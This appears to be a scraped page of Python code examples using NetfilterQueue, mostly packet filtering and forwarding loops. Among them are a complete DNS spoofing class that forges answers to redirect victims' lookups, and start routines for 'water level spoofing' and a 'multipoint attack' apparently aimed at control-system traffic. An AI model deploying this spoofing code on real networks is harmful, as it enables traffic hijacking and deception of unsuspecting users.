Archivo: IDS.py Proyecto: Kw3nt/PyIPS
def launch_nfqueue(num):
    nfqueue = NetfilterQueue()
    nfqueue.bind(num, callback)
    sleep(1)
    while lock([])[0] is False:
        print '#'*10 + '-'*10 + '> Bound to queue %s <'%num + '-'*10 +'#'*10
        nfqueue.run()
        print '#'*10 + '-'*10 + '> Queue %s had to restart <'%num + '-'*10 + '#'*10
    print '#'*10 + '-'*10 + '> Queue %s got SIGSTOP <'%num + '-'*10 + '#'*10
    nfqueue.unbind()
Ejemplo n.º 46
0
    	def run(self):
		try:
			while (self.running):

				nfqueue = NetfilterQueue()
				nfqueue.bind(1, self.handle_pkt)
			        nfqueue.run()

		
		except Exception as e:
			self.logger.error(RED+'NetFilter Failed: '+str(e))
Ejemplo n.º 47
0
def start():
    __setup()
    nfqueue = NetfilterQueue()
    nfqueue.bind(0, __inject)
    try:
        print("[*] starting water flow spoofing")
        nfqueue.run()
    except KeyboardInterrupt:
        __setdown()
        print("[*] stopping water flow spoofing")
        nfqueue.unbind()
Ejemplo n.º 48
0
def main():
    nfqueue = NetfilterQueue()
    nfqueue.bind(1, process)

    try:
        nfqueue.run()
    except:
        print("Exiting...")
        # iptables reset
        
        sys.exit(1)
Ejemplo n.º 49
0
    def run(self):
        # This is the intercept
        q = NetfilterQueue()
        q.bind(1, self.callback)
        t = threading.Thread(target=self.__run_threaded, args=(q,))
        t.daemon = True
        t.start()
        while not self.event.is_set():
            self.configurator()

        print("DNSspoofer finishing!")
        q.unbind()
Ejemplo n.º 50
0
def main():
    q = NetfilterQueue()
    q.bind(1,process)
 
    try:
	print "Binding"
        #q.try_run()
        q.run()
    except KeyboardInterrupt:
        print "Exiting..."
        q.unbind()
        sys.exit(1)
Ejemplo n.º 51
0
def handle_nfqueue(queue_number):
    from netfilterqueue import NetfilterQueue
    while True:
        try:
            nfqueue = NetfilterQueue()
            nfqueue.bind(queue_number, handle_packet)
            LOGGER.info('handling nfqueue at queue number %s' % queue_number)
            nfqueue.run()
        except:
            LOGGER.exception('failed to handle nfqueue')
            return
        finally:
            LOGGER.info('stopped handling nfqueue')
def packet_filter():
    nfq = NetfilterQueue()
    nfq.bind(1, pkt_filter_callback)

    try:
        print 'Controller packet filtering mode'
        nfq.run()

    except KeyboardInterrupt:
        print 'Quitting packet filter' 
        nfq.unbind()

        raise KeyboardInterrupt
Ejemplo n.º 53
0
def start():
    __setup()
    nfqueue = NetfilterQueue()
    nfqueue.bind(0, __inject)
    try:
        print("[*] starting water level spoofing")
        nfqueue.run()
    except KeyboardInterrupt:
        __setdown()
        thread.stop()
        thread.join()
        nfqueue.unbind()
        print("[*] stopping water level spoofing")
    return 0
Ejemplo n.º 54
0
class DnsSpoofNetFilter(object):
    def __init__(self):
        """ implementation Dnsspoof with Netfilterqueue modules"""
        description = "Module DNS spoofing v0.1"
        usage = "Usage: use --help for futher information"
        parser = argparse.ArgumentParser(description = description, usage = usage)
        parser.add_argument('-d','--domains', dest = 'domains', help = 'Specify the domains', required = True)
        parser.add_argument('-r', '--redirect', dest = 'redirect',  help = 'Redirect host ', required = True)
        self.args = parser.parse_args()

    def logggingCreate(self):
        setup_logger('dnsspoofAP', './logs/AccessPoint/dnsspoof.log')
        self.logDNS = logging.getLogger('dnsspoofAP')
        self.logDNS.info('Dns Spoof: running...')

    def callback(self,packet):
        payload = packet.get_payload()
        pkt = IP(payload)
        if not pkt.haslayer(DNSQR):
            packet.accept()
        else:
            if pkt[DNS].qd.qname[:len(str(pkt[DNS].qd.qname))-1] in self.domain:
                self.logDNS.info('{} ->({}) has searched for: {}'.format(pkt[IP].src,
                self.redirect,pkt[DNS].qd.qname[:len(str(pkt[DNS].qd.qname))-1]))
                spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
                an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.redirect))
                packet.set_payload(str(spoofed_pkt))
                send(spoofed_pkt,verbose=False)
                packet.accept()
            elif len(self.domain) == 1 and self.domain[0] == '':
                self.logDNS.info('{} ->({}) has searched for: {}'.format(pkt[IP].src,
                self.redirect,pkt[DNS].qd.qname[:len(str(pkt[DNS].qd.qname))-1]))
                spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
                an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.redirect))
                packet.set_payload(str(spoofed_pkt))
                send(spoofed_pkt,verbose=False)
                packet.accept()
            else:
                packet.accept()

    def main(self):
        self.redirect, self.domain = self.args.redirect, self.args.domains.split(',')
        self.q = NetfilterQueue()
        self.logggingCreate()
        self.q.bind(0, self.callback)
        self.q.run()
Ejemplo n.º 55
0
def start():
    __setup()
    nfqueue = NetfilterQueue()
    nfqueue.bind(0, __inject)
    try:
        print(datetime.datetime.now())
        print("[*] starting multipoint attack")
        nfqueue.run()
    except KeyboardInterrupt:
        __setdown()
        print("[*] stopping multipoint attack")
        print(datetime.datetime.now())
        nfqueue.unbind()
    return 1
Ejemplo n.º 56
0
class NFQueue(multiprocessing.Process): 
    _nfqueue = None 
    _queues = []

    def __init__(self, queues): 
        multiprocessing.Process.__init__(self)
        self._queues = queues
        self._nfqueue = NetfilterQueue() 

    def handle_pkt(self, queue, pkt): 
        logger.debug('Queue %s pkt len %s content %s' %
                       (queue, pkt.get_payload_len(), pkt)) 

        print('Queue %s pkt len %s content %s' %
                       (queue, pkt.get_payload_len(), pkt)) 
        o_pkt = IP(pkt.get_payload()) 
        m = MPLS(label=0x9, cos = 0x3) 
        #new_pkt = Ether(type=0x8847)/m/o_pkt
        new_pkt = Ether()/o_pkt
        #new_pkt = o_pkt/Raw('FFFFFF'+ pkt.get_payload())
        send(new_pkt)
        new_pkt.show()

        pkt.drop()
        #   pkt.accept()

    def run(self): 
        for i in self._queues: 
            self._nfqueue.bind(i, curry(self.handle_pkt, i))
            logger.info("Bind queue %s" % i) 

        try: 
            self._nfqueue.run()
        except ValueError: 
            logger.debug("STOPPPED due to invalid configuration ")
            self.cleanup()
        except KeyboardInterrupt: 
            logger.debug("STOPPPED due to user keyboard input ")  
            self.cleanup()
        except: 
            logger.debug("STOPPPED due to user keyboard input ")  
            self.cleanup()
      
    def cleanup(self): 
        logger.debug("packet handler cleaning up ") 
        self._nfqueue.unbind()

    def stop(self): 
        logger.debug("packet handler stopped ") 
        self.cleanup()
Ejemplo n.º 57
0
def start_snoop(ilist,qname="NFQUEUE",qval=1):
    for interface in ilist:
        # if the host is the destination (to forward above ip)
        subprocess.call("sudo iptables -I INPUT -i eth%s -j %s --queue-num %s"\
                    % (interface,qname,int(qval)))
        # our base station should use this
        subprocess.call("sudo iptables -I FORWARD -i eth%s -j %s --queue-num %s"\
                    % (interface,qname,int(qval)))

    nfqueue = NetfilterQueue()
    nfqueue.bind(qval, snoop)
    try:
        nfqueue.run()
    except Exception,e:
        logger.error("Error in Snoop start: %s" % str(e))
Ejemplo n.º 58
0
def start():
    __setup()
    nfqueue = NetfilterQueue()
    nfqueue.bind(0, __inject)
    thread = RepeatEvery(1, update_attack_level)
    try:
        print("[*] starting water level spoofing")
        thread.start()
        nfqueue.run()
    except KeyboardInterrupt:
        __setdown()
        thread.stop()
        thread.join()
        nfqueue.unbind()
        print("[*] stopping water level spoofing")
def selective_forward_func():
    selective_filter_path = os.path.join(os.getcwd(), 'connect_module', 'AP_module', SELECTIVE_FILTER_PATH_NAME)
    proto_setting_fp = open(os.path.join(selective_filter_path, 'setting_protocol.csv'))
    addr_setting_fp = open(os.path.join(selective_filter_path, 'setting_address.csv'))

    proto_lines = proto_setting_fp.readlines()
    addr_lines = addr_setting_fp.readlines()

    for line in proto_lines:
        proto, action = line.replace('\n', '').split(',')

        proto_filter[int(proto)] = action

    for line in addr_lines:
        target, addr, port, action = line.replace('\n', '').split(',')

        try:
            if target == 'src':
                src_addr_filter[addr] = (int(port), action)

            elif target == 'dst':
                dst_addr_filter[addr] = (int(port), action)

        except ValueError:
            if target == 'src':
                src_addr_filter[addr] = (port, action)

            elif target == 'dst':
                dst_addr_filter[addr] = (port, action)

    '''
    q = nfqueue.queue()
    q.open()
    q.bind(socket.AF_INET)
    q.set_callback(pkt_modify)
    q.create_queue(1)
    '''

    nfq = NetfilterQueue()
    nfq.bind(1, pkt_filter_callback)

    try:
        print 'Starting to filtering packets'
        nfq.run()

    except KeyboardInterrupt:
        print 'Quitting selective mode'
        nfq.unbind()
Ejemplo n.º 60
0
def of_forward_func():
    '''
    q = nfqueue.queue()
    q.open()
    q.bind(socket.AF_INET)
    q.set_callback(pkt_modify)
    q.create_queue(1)
    '''

    nfq = NetfilterQueue()
    nfq.bind(1, pkt_filter_callback)

    cmd = 'iptables -t mangle -I PREROUTING -i eth1 -p tcp --dport 6633 -j NFQUEUE --queue-num 1'
    subprocess.call(cmd, shell=True, stdout=subprocess.PIPE)

    cmd = 'ip rule add fwmark 30 table of_forward'
    subprocess.Popen(cmd.split(), stdout=subprocess.PIPE)

    cmd = 'ip route add default dev tun0 table of_forward'
    subprocess.Popen(cmd.split(), stdout=subprocess.PIPE)

    cmd = 'iptables -t nat -I POSTROUTING -o tun0 -j MASQUERADE'
    subprocess.Popen(cmd.split(), stdout=subprocess.PIPE)

    cmd = 'sysctl -w net.ipv4.conf.tun0.rp_filter=2'
    subprocess.call(cmd, stdout=subprocess.PIPE, shell=True)


    try:
        print 'OF forward mode - Starting to forwarding Openflow packet'
        nfq.run()

    except KeyboardInterrupt:
        print 'Quitting Openflow packet forward mode'
        
        cmd = 'iptables -t mangle -D PREROUTING 1'
        subprocess.call(cmd, stdout=subprocess.PIPE, shell=True)

        cmd = 'ip rule del table of_forward' 
        subprocess.call(cmd, stdout=subprocess.PIPE, shell=True)

        cmd = 'ip route flush table of_forward'
        subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)

        cmd = 'iptables -t nat -D POSTROUTING 1'
        subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)

    return